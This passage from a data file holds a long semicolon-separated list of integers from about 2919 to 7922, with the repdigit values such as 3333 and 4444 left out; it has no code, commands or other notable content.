8;2919;2920;2921;2922;2923;2924;2925;2926;2927;2928;2929;2930;2931;2932;2933;2934;2935;2936;2937;2938;2939;2940;2941;2942;2943;2944;2945;2946;2947;2948;2949;2950;2951;2952;2953;2954;2955;2956;2957;2958;2959;2960;2961;2962;2963;2964;2965;2966;2967;2968;2969;2970;2971;2972;2973;2974;2975;2976;2977;2978;2979;2980;2981;2982;2983;2984;2985;2986;2987;2988;2989;2990;2991;2992;2993;2994;2995;2996;2997;2998;2999;3000;3001;3002;3003;3004;3005;3006;3007;3008;3009;3010;3011;3012;3013;3014;3015;3016;3017;3018;3019;3020;3021;3022;3023;3024;3025;3026;3027;3028;3029;3030;3031;3032;3033;3034;3035;3036;3037;3038;3039;3040;3041;3042;3043;3044;3045;3046;3047;3048;3049;3050;3051;3052;3053;3054;3055;3056;3057;3058;3059;3060;3061;3062;3063;3064;3065;3066;3067;3068;3069;3070;3071;3072;3073;3074;3075;3076;3077;3078;3079;3080;3081;3082;3083;3084;3085;3086;3087;3088;3089;3090;3091;3092;3093;3094;3095;3096;3097;3098;3099;3100;3101;3102;3103;3104;3105;3106;3107;3108;3109;3110;3111;3112;3113;3114;3115;3116;3117;3118;3119;3120;3121;3122;3123;3124;3125;3126;3127;3128;3129;3130;3131;3132;3133;3134;3135;3136;3137;3138;3139;3140;3141;3142;3143;3144;3145;3146;3147;3148;3149;3150;3151;3152;3153;3154;3155;3156;3157;3158;3159;3160;3161;3162;3163;3164;3165;3166;3167;3168;3169;3170;3171;3172;3173;3174;3175;3176;3177;3178;3179;3180;3181;3182;3183;3184;3185;3186;3187;3188;3189;3190;3191;3192;3193;3194;3195;3196;3197;3198;3199;3200;3201;3202;3203;3204;3205;3206;3207;3208;3209;3210;3211;3212;3213;3214;3215;3216;3217;3218;3219;3220;3221;3222;3223;3224;3225;3226;3227;3228;3229;3230;3231;3232;3233;3234;3235;3236;3237;3238;3239;3240;3241;3242;3243;3244;3245;3246;3247;3248;3249;3250;3251;3252;3253;3254;3255;3256;3257;3258;3259;3260;3261;3262;3263;3264;3265;3266;3267;3268;3269;3270;3271;3272;3273;3274;3275;3276;3277;3278;3279;3280;3281;3282;3283;3284;3285;3286;3287;3288;3289;3290;3291;3292;3293;3294;3295;3296;3297;3298;3299;3300;3301;3302;3303;3304;3305;3306;3307;3308;3309;3310;3311;3312;3313;3314;3315;3316;3317;3318;3319;3320;3321;3322;3323;3324;3325;3326;3327;3328;3329;3330;3331;3332;3334;3335;3336;3337;3338;3339;3340;3341;3342;3343;3344;3345;3346;3347;3348;3349;3350;3351;3352;3353;3354;3355;3356;3357;3358;3359;3360;3361;3362;3363;3364;3365;3366;3367;3368;3369;3370;3371;3372;3373;3374;3375;3376;3377;3378;3379;3380;3381;3382;3383;3384;3385;3386;3387;3388;3389;3390;3391;3392;3393;3394;3395;3396;3397;3398;3399;3400;3401;3402;3403;3404;3405;3406;3407;3408;3409;3410;3411;3412;3413;3414;3415;3416;3417;3418;3419;3420;3421;3422;3423;3424;3425;3426;3427;3428;3429;3430;3431;3432;3433;3434;3435;3436;3437;3438;3439;3440;3441;3442;3443;3444;3445;3446;3447;3448;3449;3450;3451;3452;3453;3454;3455;3456;3457;3458;3459;3460;3461;3462;3463;3464;3465;3466;3467;3468;3469;3470;3471;3472;3473;3474;3475;3476;3477;3478;3479;3480;3481;3482;3483;3484;3485;3486;3487;3488;3489;3490;3491;3492;3493;3494;3495;3496;3497;3498;3499;3500;3501;3502;3503;3504;3505;3506;3507;3508;3509;3510;3511;3512;3513;3514;3515;3516;3517;3518;3519;3520;3521;3522;3523;3524;3525;3526;3527;3528;3529;3530;3531;3532;3533;3534;3535;3536;3537;3538;3539;3540;3541;3542;3543;3544;3545;3546;3547;3548;3549;3550;3551;3552;3553;3554;3555;3556;3557;3558;3559;3560;3561;3562;3563;3564;3565;3566;3567;3568;3569;3570;3571;3572;3573;3574;3575;3576;3577;3578;3579;3580;3581;3582;3583;3584;3585;3586;3587;3588;3589;3590;3591;3592;3593;3594;3595;3596;3597;3598;3599;3600;3601;3602;3603;3604;3605;3606;3607;3608;3609;3610;3611;3612;3613;3614;3615;3616;3617;3618;3619;3620;3621;3622;3623;3624;3625;3626;3627;3628;3629;3630;3631;3632;3633;3634;3635;3636;3637;3638;3639;3640;3641;3642;3643;3644;3645;3646;3647;3648;3649;3650;3651;3652;3653;3654;3655;3656;3657;3658;3659;3660;3661;3662;3663;3664;3665;3666;3667;3668;3669;3670;3671;3672;3673;3674;3675;3676;3677;3678;3679;3680;3681;3682;3683;3684;3685;3686;3687;3688;3689;3690;3691;3692;3693;3694;3695;3696;3697;3698;3699;3700;3701;3702;3703;3704;3705;3706;3707;3708;3709;3710;3711;3712;3713;3714;3715;3716;3717;3718;3719;3720;3721;3722;3723;3724;3725;3726;3727;3728;3729;3730;3731;3732;3733;3734;3735;3736;3737;3738;3739;3740;3741;3742;3743;3744;3745;3746;3747;3748;3749;3750;3751;3752;3753;3754;3755;3756;3757;3758;3759;3760;3761;3762;3763;3764;3765;3766;3767;3768;3769;3770;3771;3772;3773;3774;3775;3776;3777;3778;3779;3780;3781;3782;3783;3784;3785;3786;3787;3788;3789;3790;3791;3792;3793;3794;3795;3796;3797;3798;3799;3800;3801;3802;3803;3804;3805;3806;3807;3808;3809;3810;3811;3812;3813;3814;3815;3816;3817;3818;3819;3820;3821;3822;3823;3824;3825;3826;3827;3828;3829;3830;3831;3832;3833;3834;3835;3836;3837;3838;3839;3840;3841;3842;3843;3844;3845;3846;3847;3848;3849;3850;3851;3852;3853;3854;3855;3856;3857;3858;3859;3860;3861;3862;3863;3864;3865;3866;3867;3868;3869;3870;3871;3872;3873;3874;3875;3876;3877;3878;3879;3880;3881;3882;3883;3884;3885;3886;3887;3888;3889;3890;3891;3892;3893;3894;3895;3896;3897;3898;3899;3900;3901;3902;3903;3904;3905;3906;3907;3908;3909;3910;3911;3912;3913;3914;3915;3916;3917;3918;3919;3920;3921;3922;3923;3924;3925;3926;3927;3928;3929;3930;3931;3932;3933;3934;3935;3936;3937;3938;3939;3940;3941;3942;3943;3944;3945;3946;3947;3948;3949;3950;3951;3952;3953;3954;3955;3956;3957;3958;3959;3960;3961;3962;3963;3964;3965;3966;3967;3968;3969;3970;3971;3972;3973;3974;3975;3976;3977;3978;3979;3980;3981;3982;3983;3984;3985;3986;3987;3988;3989;3990;3991;3992;3993;3994;3995;3996;3997;3998;3999;4000;4001;4002;4003;4004;4005;4006;4007;4008;4009;4010;4011;4012;4013;4014;4015;4016;4017;4018;4019;4020;4021;4022;4023;4024;4025;4026;4027;4028;4029;4030;4031;4032;4033;4034;4035;4036;4037;4038;4039;4040;4041;4042;4043;4044;4045;4046;4047;4048;4049;4050;4051;4052;4053;4054;4055;4056;4057;4058;4059;4060;4061;4062;4063;4064;4065;4066;4067;4068;4069;4070;4071;4072;4073;4074;4075;4076;4077;4078;4079;4080;4081;4082;4083;4084;4085;4086;4087;4088;4089;4090;4091;4092;4093;4094;4095;4096;4097;4098;4099;4100;4101;4102;4103;4104;4105;4106;4107;4108;4109;4110;4111;4112;4113;4114;4115;4116;4117;4118;4119;4120;4121;4122;4123;4124;4125;4126;4127;4128;4129;4130;4131;4132;4133;4134;4135;4136;4137;4138;4139;4140;4141;4142;4143;4144;4145;4146;4147;4148;4149;4150;4151;4152;4153;4154;4155;4156;4157;4158;4159;4160;4161;4162;4163;4164;4165;4166;4167;4168;4169;4170;4171;4172;4173;4174;4175;4176;4177;4178;4179;4180;4181;4182;4183;4184;4185;4186;4187;4188;4189;4190;4191;4192;4193;4194;4195;4196;4197;4198;4199;4200;4201;4202;4203;4204;4205;4206;4207;4208;4209;4210;4211;4212;4213;4214;4215;4216;4217;4218;4219;4220;4221;4222;4223;4224;4225;4226;4227;4228;4229;4230;4231;4232;4233;4234;4235;4236;4237;4238;4239;4240;4241;4242;4243;4244;4245;4246;4247;4248;4249;4250;4251;4252;4253;4254;4255;4256;4257;4258;4259;4260;4261;4262;4263;4264;4265;4266;4267;4268;4269;4270;4271;4272;4273;4274;4275;4276;4277;4278;4279;4280;4281;4282;4283;4284;4285;4286;4287;4288;4289;4290;4291;4292;4293;4294;4295;4296;4297;4298;4299;4300;4301;4302;4303;4304;4305;4306;4307;4308;4309;4310;4311;4312;4313;4314;4315;4316;4317;4318;4319;4320;4321;4322;4323;4324;4325;4326;4327;4328;4329;4330;4331;4332;4333;4334;4335;4336;4337;4338;4339;4340;4341;4342;4343;4344;4345;4346;4347;4348;4349;4350;4351;4352;4353;4354;4355;4356;4357;4358;4359;4360;4361;4362;4363;4364;4365;4366;4367;4368;4369;4370;4371;4372;4373;4374;4375;4376;4377;4378;4379;4380;4381;4382;4383;4384;4385;4386;4387;4388;4389;4390;4391;4392;4393;4394;4395;4396;4397;4398;4399;4400;4401;4402;4403;4404;4405;4406;4407;4408;4409;4410;4411;4412;4413;4414;4415;4416;4417;4418;4419;4420;4421;4422;4423;4424;4425;4426;4427;4428;4429;4430;4431;4432;4433;4434;4435;4436;4437;4438;4439;4440;4441;4442;4443;4445;4446;4447;4448;4449;4450;4451;4452;4453;4454;4455;4456;4457;4458;4459;4460;4461;4462;4463;4464;4465;4466;4467;4468;4469;4470;4471;4472;4473;4474;4475;4476;4477;4478;4479;4480;4481;4482;4483;4484;4485;4486;4487;4488;4489;4490;4491;4492;4493;4494;4495;4496;4497;4498;4499;4500;4501;4502;4503;4504;4505;4506;4507;4508;4509;4510;4511;4512;4513;4514;4515;4516;4517;4518;4519;4520;4521;4522;4523;4524;4525;4526;4527;4528;4529;4530;4531;4532;4533;4534;4535;4536;4537;4538;4539;4540;4541;4542;4543;4544;4545;4546;4547;4548;4549;4550;4551;4552;4553;4554;4555;4556;4557;4558;4559;4560;4561;4562;4563;4564;4565;4566;4567;4568;4569;4570;4571;4572;4573;4574;4575;4576;4577;4578;4579;4580;4581;4582;4583;4584;4585;4586;4587;4588;4589;4590;4591;4592;4593;4594;4595;4596;4597;4598;4599;4600;4601;4602;4603;4604;4605;4606;4607;4608;4609;4610;4611;4612;4613;4614;4615;4616;4617;4618;4619;4620;4621;4622;4623;4624;4625;4626;4627;4628;4629;4630;4631;4632;4633;4634;4635;4636;4637;4638;4639;4640;4641;4642;4643;4644;4645;4646;4647;4648;4649;4650;4651;4652;4653;4654;4655;4656;4657;4658;4659;4660;4661;4662;4663;4664;4665;4666;4667;4668;4669;4670;4671;4672;4673;4674;4675;4676;4677;4678;4679;4680;4681;4682;4683;4684;4685;4686;4687;4688;4689;4690;4691;4692;4693;4694;4695;4696;4697;4698;4699;4700;4701;4702;4703;4704;4705;4706;4707;4708;4709;4710;4711;4712;4713;4714;4715;4716;4717;4718;4719;4720;4721;4722;4723;4724;4725;4726;4727;4728;4729;4730;4731;4732;4733;4734;4735;4736;4737;4738;4739;4740;4741;4742;4743;4744;4745;4746;4747;4748;4749;4750;4751;4752;4753;4754;4755;4756;4757;4758;4759;4760;4761;4762;4763;4764;4765;4766;4767;4768;4769;4770;4771;4772;4773;4774;4775;4776;4777;4778;4779;4780;4781;4782;4783;4784;4785;4786;4787;4788;4789;4790;4791;4792;4793;4794;4795;4796;4797;4798;4799;4800;4801;4802;4803;4804;4805;4806;4807;4808;4809;4810;4811;4812;4813;4814;4815;4816;4817;4818;4819;4820;4821;4822;4823;4824;4825;4826;4827;4828;4829;4830;4831;4832;4833;4834;4835;4836;4837;4838;4839;4840;4841;4842;4843;4844;4845;4846;4847;4848;4849;4850;4851;4852;4853;4854;4855;4856;4857;4858;4859;4860;4861;4862;4863;4864;4865;4866;4867;4868;4869;4870;4871;4872;4873;4874;4875;4876;4877;4878;4879;4880;4881;4882;4883;4884;4885;4886;4887;4888;4889;4890;4891;4892;4893;4894;4895;4896;4897;4898;4899;4900;4901;4902;4903;4904;4905;4906;4907;4908;4909;4910;4911;4912;4913;4914;4915;4916;4917;4918;4919;4920;4921;4922;4923;4924;4925;4926;4927;4928;4929;4930;4931;4932;4933;4934;4935;4936;4937;4938;4939;4940;4941;4942;4943;4944;4945;4946;4947;4948;4949;4950;4951;4952;4953;4954;4955;4956;4957;4958;4959;4960;4961;4962;4963;4964;4965;4966;4967;4968;4969;4970;4971;4972;4973;4974;4975;4976;4977;4978;4979;4980;4981;4982;4983;4984;4985;4986;4987;4988;4989;4990;4991;4992;4993;4994;4995;4996;4997;4998;4999;5000;5001;5002;5003;5004;5005;5006;5007;5008;5009;5010;5011;5012;5013;5014;5015;5016;5017;5018;5019;5020;5021;5022;5023;5024;5025;5026;5027;5028;5029;5030;5031;5032;5033;5034;5035;5036;5037;5038;5039;5040;5041;5042;5043;5044;5045;5046;5047;5048;5049;5050;5051;5052;5053;5054;5055;5056;5057;5058;5059;5060;5061;5062;5063;5064;5065;5066;5067;5068;5069;5070;5071;5072;5073;5074;5075;5076;5077;5078;5079;5080;5081;5082;5083;5084;5085;5086;5087;5088;5089;5090;5091;5092;5093;5094;5095;5096;5097;5098;5099;5100;5101;5102;5103;5104;5105;5106;5107;5108;5109;5110;5111;5112;5113;5114;5115;5116;5117;5118;5119;5120;5121;5122;5123;5124;5125;5126;5127;5128;5129;5130;5131;5132;5133;5134;5135;5136;5137;5138;5139;5140;5141;5142;5143;5144;5145;5146;5147;5148;5149;5150;5151;5152;5153;5154;5155;5156;5157;5158;5159;5160;5161;5162;5163;5164;5165;5166;5167;5168;5169;5170;5171;5172;5173;5174;5175;5176;5177;5178;5179;5180;5181;5182;5183;5184;5185;5186;5187;5188;5189;5190;5191;5192;5193;5194;5195;5196;5197;5198;5199;5200;5201;5202;5203;5204;5205;5206;5207;5208;5209;5210;5211;5212;5213;5214;5215;5216;5217;5218;5219;5220;5221;5222;5223;5224;5225;5226;5227;5228;5229;5230;5231;5232;5233;5234;5235;5236;5237;5238;5239;5240;5241;5242;5243;5244;5245;5246;5247;5248;5249;5250;5251;5252;5253;5254;5255;5256;5257;5258;5259;5260;5261;5262;5263;5264;5265;5266;5267;5268;5269;5270;5271;5272;5273;5274;5275;5276;5277;5278;5279;5280;5281;5282;5283;5284;5285;5286;5287;5288;5289;5290;5291;5292;5293;5294;5295;5296;5297;5298;5299;5300;5301;5302;5303;5304;5305;5306;5307;5308;5309;5310;5311;5312;5313;5314;5315;5316;5317;5318;5319;5320;5321;5322;5323;5324;5325;5326;5327;5328;5329;5330;5331;5332;5333;5334;5335;5336;5337;5338;5339;5340;5341;5342;5343;5344;5345;5346;5347;5348;5349;5350;5351;5352;5353;5354;5355;5356;5357;5358;5359;5360;5361;5362;5363;5364;5365;5366;5367;5368;5369;5370;5371;5372;5373;5374;5375;5376;5377;5378;5379;5380;5381;5382;5383;5384;5385;5386;5387;5388;5389;5390;5391;5392;5393;5394;5395;5396;5397;5398;5399;5400;5401;5402;5403;5404;5405;5406;5407;5408;5409;5410;5411;5412;5413;5414;5415;5416;5417;5418;5419;5420;5421;5422;5423;5424;5425;5426;5427;5428;5429;5430;5431;5432;5433;5434;5435;5436;5437;5438;5439;5440;5441;5442;5443;5444;5445;5446;5447;5448;5449;5450;5451;5452;5453;5454;5455;5456;5457;5458;5459;5460;5461;5462;5463;5464;5465;5466;5467;5468;5469;5470;5471;5472;5473;5474;5475;5476;5477;5478;5479;5480;5481;5482;5483;5484;5485;5486;5487;5488;5489;5490;5491;5492;5493;5494;5495;5496;5497;5498;5499;5500;5501;5502;5503;5504;5505;5506;5507;5508;5509;5510;5511;5512;5513;5514;5515;5516;5517;5518;5519;5520;5521;5522;5523;5524;5525;5526;5527;5528;5529;5530;5531;5532;5533;5534;5535;5536;5537;5538;5539;5540;5541;5542;5543;5544;5545;5546;5547;5548;5549;5550;5551;5552;5553;5554;5556;5557;5558;5559;5560;5561;5562;5563;5564;5565;5566;5567;5568;5569;5570;5571;5572;5573;5574;5575;5576;5577;5578;5579;5580;5581;5582;5583;5584;5585;5586;5587;5588;5589;5590;5591;5592;5593;5594;5595;5596;5597;5598;5599;5600;5601;5602;5603;5604;5605;5606;5607;5608;5609;5610;5611;5612;5613;5614;5615;5616;5617;5618;5619;5620;5621;5622;5623;5624;5625;5626;5627;5628;5629;5630;5631;5632;5633;5634;5635;5636;5637;5638;5639;5640;5641;5642;5643;5644;5645;5646;5647;5648;5649;5650;5651;5652;5653;5654;5655;5656;5657;5658;5659;5660;5661;5662;5663;5664;5665;5666;5667;5668;5669;5670;5671;5672;5673;5674;5675;5676;5677;5678;5679;5680;5681;5682;5683;5684;5685;5686;5687;5688;5689;5690;5691;5692;5693;5694;5695;5696;5697;5698;5699;5700;5701;5702;5703;5704;5705;5706;5707;5708;5709;5710;5711;5712;5713;5714;5715;5716;5717;5718;5719;5720;5721;5722;5723;5724;5725;5726;5727;5728;5729;5730;5731;5732;5733;5734;5735;5736;5737;5738;5739;5740;5741;5742;5743;5744;5745;5746;5747;5748;5749;5750;5751;5752;5753;5754;5755;5756;5757;5758;5759;5760;5761;5762;5763;5764;5765;5766;5767;5768;5769;5770;5771;5772;5773;5774;5775;5776;5777;5778;5779;5780;5781;5782;5783;5784;5785;5786;5787;5788;5789;5790;5791;5792;5793;5794;5795;5796;5797;5798;5799;5800;5801;5802;5803;5804;5805;5806;5807;5808;5809;5810;5811;5812;5813;5814;5815;5816;5817;5818;5819;5820;5821;5822;5823;5824;5825;5826;5827;5828;5829;5830;5831;5832;5833;5834;5835;5836;5837;5838;5839;5840;5841;5842;5843;5844;5845;5846;5847;5848;5849;5850;5851;5852;5853;5854;5855;5856;5857;5858;5859;5860;5861;5862;5863;5864;5865;5866;5867;5868;5869;5870;5871;5872;5873;5874;5875;5876;5877;5878;5879;5880;5881;5882;5883;5884;5885;5886;5887;5888;5889;5890;5891;5892;5893;5894;5895;5896;5897;5898;5899;5900;5901;5902;5903;5904;5905;5906;5907;5908;5909;5910;5911;5912;5913;5914;5915;5916;5917;5918;5919;5920;5921;5922;5923;5924;5925;5926;5927;5928;5929;5930;5931;5932;5933;5934;5935;5936;5937;5938;5939;5940;5941;5942;5943;5944;5945;5946;5947;5948;5949;5950;5951;5952;5953;5954;5955;5956;5957;5958;5959;5960;5961;5962;5963;5964;5965;5966;5967;5968;5969;5970;5971;5972;5973;5974;5975;5976;5977;5978;5979;5980;5981;5982;5983;5984;5985;5986;5987;5988;5989;5990;5991;5992;5993;5994;5995;5996;5997;5998;5999;6000;6001;6002;6003;6004;6005;6006;6007;6008;6009;6010;6011;6012;6013;6014;6015;6016;6017;6018;6019;6020;6021;6022;6023;6024;6025;6026;6027;6028;6029;6030;6031;6032;6033;6034;6035;6036;6037;6038;6039;6040;6041;6042;6043;6044;6045;6046;6047;6048;6049;6050;6051;6052;6053;6054;6055;6056;6057;6058;6059;6060;6061;6062;6063;6064;6065;6066;6067;6068;6069;6070;6071;6072;6073;6074;6075;6076;6077;6078;6079;6080;6081;6082;6083;6084;6085;6086;6087;6088;6089;6090;6091;6092;6093;6094;6095;6096;6097;6098;6099;6100;6101;6102;6103;6104;6105;6106;6107;6108;6109;6110;6111;6112;6113;6114;6115;6116;6117;6118;6119;6120;6121;6122;6123;6124;6125;6126;6127;6128;6129;6130;6131;6132;6133;6134;6135;6136;6137;6138;6139;6140;6141;6142;6143;6144;6145;6146;6147;6148;6149;6150;6151;6152;6153;6154;6155;6156;6157;6158;6159;6160;6161;6162;6163;6164;6165;6166;6167;6168;6169;6170;6171;6172;6173;6174;6175;6176;6177;6178;6179;6180;6181;6182;6183;6184;6185;6186;6187;6188;6189;6190;6191;6192;6193;6194;6195;6196;6197;6198;6199;6200;6201;6202;6203;6204;6205;6206;6207;6208;6209;6210;6211;6212;6213;6214;6215;6216;6217;6218;6219;6220;6221;6222;6223;6224;6225;6226;6227;6228;6229;6230;6231;6232;6233;6234;6235;6236;6237;6238;6239;6240;6241;6242;6243;6244;6245;6246;6247;6248;6249;6250;6251;6252;6253;6254;6255;6256;6257;6258;6259;6260;6261;6262;6263;6264;6265;6266;6267;6268;6269;6270;6271;6272;6273;6274;6275;6276;6277;6278;6279;6280;6281;6282;6283;6284;6285;6286;6287;6288;6289;6290;6291;6292;6293;6294;6295;6296;6297;6298;6299;6300;6301;6302;6303;6304;6305;6306;6307;6308;6309;6310;6311;6312;6313;6314;6315;6316;6317;6318;6319;6320;6321;6322;6323;6324;6325;6326;6327;6328;6329;6330;6331;6332;6333;6334;6335;6336;6337;6338;6339;6340;6341;6342;6343;6344;6345;6346;6347;6348;6349;6350;6351;6352;6353;6354;6355;6356;6357;6358;6359;6360;6361;6362;6363;6364;6365;6366;6367;6368;6369;6370;6371;6372;6373;6374;6375;6376;6377;6378;6379;6380;6381;6382;6383;6384;6385;6386;6387;6388;6389;6390;6391;6392;6393;6394;6395;6396;6397;6398;6399;6400;6401;6402;6403;6404;6405;6406;6407;6408;6409;6410;6411;6412;6413;6414;6415;6416;6417;6418;6419;6420;6421;6422;6423;6424;6425;6426;6427;6428;6429;6430;6431;6432;6433;6434;6435;6436;6437;6438;6439;6440;6441;6442;6443;6444;6445;6446;6447;6448;6449;6450;6451;6452;6453;6454;6455;6456;6457;6458;6459;6460;6461;6462;6463;6464;6465;6466;6467;6468;6469;6470;6471;6472;6473;6474;6475;6476;6477;6478;6479;6480;6481;6482;6483;6484;6485;6486;6487;6488;6489;6490;6491;6492;6493;6494;6495;6496;6497;6498;6499;6500;6501;6502;6503;6504;6505;6506;6507;6508;6509;6510;6511;6512;6513;6514;6515;6516;6517;6518;6519;6520;6521;6522;6523;6524;6525;6526;6527;6528;6529;6530;6531;6532;6533;6534;6535;6536;6537;6538;6539;6540;6541;6542;6543;6544;6545;6546;6547;6548;6549;6550;6551;6552;6553;6554;6555;6556;6557;6558;6559;6560;6561;6562;6563;6564;6565;6566;6567;6568;6569;6570;6571;6572;6573;6574;6575;6576;6577;6578;6579;6580;6581;6582;6583;6584;6585;6586;6587;6588;6589;6590;6591;6592;6593;6594;6595;6596;6597;6598;6599;6600;6601;6602;6603;6604;6605;6606;6607;6608;6609;6610;6611;6612;6613;6614;6615;6616;6617;6618;6619;6620;6621;6622;6623;6624;6625;6626;6627;6628;6629;6630;6631;6632;6633;6634;6635;6636;6637;6638;6639;6640;6641;6642;6643;6644;6645;6646;6647;6648;6649;6650;6651;6652;6653;6654;6655;6656;6657;6658;6659;6660;6661;6662;6663;6664;6665;6667;6668;6669;6670;6671;6672;6673;6674;6675;6676;6677;6678;6679;6680;6681;6682;6683;6684;6685;6686;6687;6688;6689;6690;6691;6692;6693;6694;6695;6696;6697;6698;6699;6700;6701;6702;6703;6704;6705;6706;6707;6708;6709;6710;6711;6712;6713;6714;6715;6716;6717;6718;6719;6720;6721;6722;6723;6724;6725;6726;6727;6728;6729;6730;6731;6732;6733;6734;6735;6736;6737;6738;6739;6740;6741;6742;6743;6744;6745;6746;6747;6748;6749;6750;6751;6752;6753;6754;6755;6756;6757;6758;6759;6760;6761;6762;6763;6764;6765;6766;6767;6768;6769;6770;6771;6772;6773;6774;6775;6776;6777;6778;6779;6780;6781;6782;6783;6784;6785;6786;6787;6788;6789;6790;6791;6792;6793;6794;6795;6796;6797;6798;6799;6800;6801;6802;6803;6804;6805;6806;6807;6808;6809;6810;6811;6812;6813;6814;6815;6816;6817;6818;6819;6820;6821;6822;6823;6824;6825;6826;6827;6828;6829;6830;6831;6832;6833;6834;6835;6836;6837;6838;6839;6840;6841;6842;6843;6844;6845;6846;6847;6848;6849;6850;6851;6852;6853;6854;6855;6856;6857;6858;6859;6860;6861;6862;6863;6864;6865;6866;6867;6868;6869;6870;6871;6872;6873;6874;6875;6876;6877;6878;6879;6880;6881;6882;6883;6884;6885;6886;6887;6888;6889;6890;6891;6892;6893;6894;6895;6896;6897;6898;6899;6900;6901;6902;6903;6904;6905;6906;6907;6908;6909;6910;6911;6912;6913;6914;6915;6916;6917;6918;6919;6920;6921;6922;6923;6924;6925;6926;6927;6928;6929;6930;6931;6932;6933;6934;6935;6936;6937;6938;6939;6940;6941;6942;6943;6944;6945;6946;6947;6948;6949;6950;6951;6952;6953;6954;6955;6956;6957;6958;6959;6960;6961;6962;6963;6964;6965;6966;6967;6968;6969;6970;6971;6972;6973;6974;6975;6976;6977;6978;6979;6980;6981;6982;6983;6984;6985;6986;6987;6988;6989;6990;6991;6992;6993;6994;6995;6996;6997;6998;6999;7000;7001;7002;7003;7004;7005;7006;7007;7008;7009;7010;7011;7012;7013;7014;7015;7016;7017;7018;7019;7020;7021;7022;7023;7024;7025;7026;7027;7028;7029;7030;7031;7032;7033;7034;7035;7036;7037;7038;7039;7040;7041;7042;7043;7044;7045;7046;7047;7048;7049;7050;7051;7052;7053;7054;7055;7056;7057;7058;7059;7060;7061;7062;7063;7064;7065;7066;7067;7068;7069;7070;7071;7072;7073;7074;7075;7076;7077;7078;7079;7080;7081;7082;7083;7084;7085;7086;7087;7088;7089;7090;7091;7092;7093;7094;7095;7096;7097;7098;7099;7100;7101;7102;7103;7104;7105;7106;7107;7108;7109;7110;7111;7112;7113;7114;7115;7116;7117;7118;7119;7120;7121;7122;7123;7124;7125;7126;7127;7128;7129;7130;7131;7132;7133;7134;7135;7136;7137;7138;7139;7140;7141;7142;7143;7144;7145;7146;7147;7148;7149;7150;7151;7152;7153;7154;7155;7156;7157;7158;7159;7160;7161;7162;7163;7164;7165;7166;7167;7168;7169;7170;7171;7172;7173;7174;7175;7176;7177;7178;7179;7180;7181;7182;7183;7184;7185;7186;7187;7188;7189;7190;7191;7192;7193;7194;7195;7196;7197;7198;7199;7200;7201;7202;7203;7204;7205;7206;7207;7208;7209;7210;7211;7212;7213;7214;7215;7216;7217;7218;7219;7220;7221;7222;7223;7224;7225;7226;7227;7228;7229;7230;7231;7232;7233;7234;7235;7236;7237;7238;7239;7240;7241;7242;7243;7244;7245;7246;7247;7248;7249;7250;7251;7252;7253;7254;7255;7256;7257;7258;7259;7260;7261;7262;7263;7264;7265;7266;7267;7268;7269;7270;7271;7272;7273;7274;7275;7276;7277;7278;7279;7280;7281;7282;7283;7284;7285;7286;7287;7288;7289;7290;7291;7292;7293;7294;7295;7296;7297;7298;7299;7300;7301;7302;7303;7304;7305;7306;7307;7308;7309;7310;7311;7312;7313;7314;7315;7316;7317;7318;7319;7320;7321;7322;7323;7324;7325;7326;7327;7328;7329;7330;7331;7332;7333;7334;7335;7336;7337;7338;7339;7340;7341;7342;7343;7344;7345;7346;7347;7348;7349;7350;7351;7352;7353;7354;7355;7356;7357;7358;7359;7360;7361;7362;7363;7364;7365;7366;7367;7368;7369;7370;7371;7372;7373;7374;7375;7376;7377;7378;7379;7380;7381;7382;7383;7384;7385;7386;7387;7388;7389;7390;7391;7392;7393;7394;7395;7396;7397;7398;7399;7400;7401;7402;7403;7404;7405;7406;7407;7408;7409;7410;7411;7412;7413;7414;7415;7416;7417;7418;7419;7420;7421;7422;7423;7424;7425;7426;7427;7428;7429;7430;7431;7432;7433;7434;7435;7436;7437;7438;7439;7440;7441;7442;7443;7444;7445;7446;7447;7448;7449;7450;7451;7452;7453;7454;7455;7456;7457;7458;7459;7460;7461;7462;7463;7464;7465;7466;7467;7468;7469;7470;7471;7472;7473;7474;7475;7476;7477;7478;7479;7480;7481;7482;7483;7484;7485;7486;7487;7488;7489;7490;7491;7492;7493;7494;7495;7496;7497;7498;7499;7500;7501;7502;7503;7504;7505;7506;7507;7508;7509;7510;7511;7512;7513;7514;7515;7516;7517;7518;7519;7520;7521;7522;7523;7524;7525;7526;7527;7528;7529;7530;7531;7532;7533;7534;7535;7536;7537;7538;7539;7540;7541;7542;7543;7544;7545;7546;7547;7548;7549;7550;7551;7552;7553;7554;7555;7556;7557;7558;7559;7560;7561;7562;7563;7564;7565;7566;7567;7568;7569;7570;7571;7572;7573;7574;7575;7576;7577;7578;7579;7580;7581;7582;7583;7584;7585;7586;7587;7588;7589;7590;7591;7592;7593;7594;7595;7596;7597;7598;7599;7600;7601;7602;7603;7604;7605;7606;7607;7608;7609;7610;7611;7612;7613;7614;7615;7616;7617;7618;7619;7620;7621;7622;7623;7624;7625;7626;7627;7628;7629;7630;7631;7632;7633;7634;7635;7636;7637;7638;7639;7640;7641;7642;7643;7644;7645;7646;7647;7648;7649;7650;7651;7652;7653;7654;7655;7656;7657;7658;7659;7660;7661;7662;7663;7664;7665;7666;7667;7668;7669;7670;7671;7672;7673;7674;7675;7676;7677;7678;7679;7680;7681;7682;7683;7684;7685;7686;7687;7688;7689;7690;7691;7692;7693;7694;7695;7696;7697;7698;7699;7700;7701;7702;7703;7704;7705;7706;7707;7708;7709;7710;7711;7712;7713;7714;7715;7716;7717;7718;7719;7720;7721;7722;7723;7724;7725;7726;7727;7728;7729;7730;7731;7732;7733;7734;7735;7736;7737;7738;7739;7740;7741;7742;7743;7744;7745;7746;7747;7748;7749;7750;7751;7752;7753;7754;7755;7756;7757;7758;7759;7760;7761;7762;7763;7764;7765;7766;7767;7768;7769;7770;7771;7772;7773;7774;7775;7776;7778;7779;7780;7781;7782;7783;7784;7785;7786;7787;7788;7789;7790;7791;7792;7793;7794;7795;7796;7797;7798;7799;7800;7801;7802;7803;7804;7805;7806;7807;7808;7809;7810;7811;7812;7813;7814;7815;7816;7817;7818;7819;7820;7821;7822;7823;7824;7825;7826;7827;7828;7829;7830;7831;7832;7833;7834;7835;7836;7837;7838;7839;7840;7841;7842;7843;7844;7845;7846;7847;7848;7849;7850;7851;7852;7853;7854;7855;7856;7857;7858;7859;7860;7861;7862;7863;7864;7865;7866;7867;7868;7869;7870;7871;7872;7873;7874;7875;7876;7877;7878;7879;7880;7881;7882;7883;7884;7885;7886;7887;7888;7889;7890;7891;7892;7893;7894;7895;7896;7897;7898;7899;7900;7901;7902;7903;7904;7905;7906;7907;7908;7909;7910;7911;7912;7913;7914;7915;7916;7917;7918;7919;7920;7921;7922;7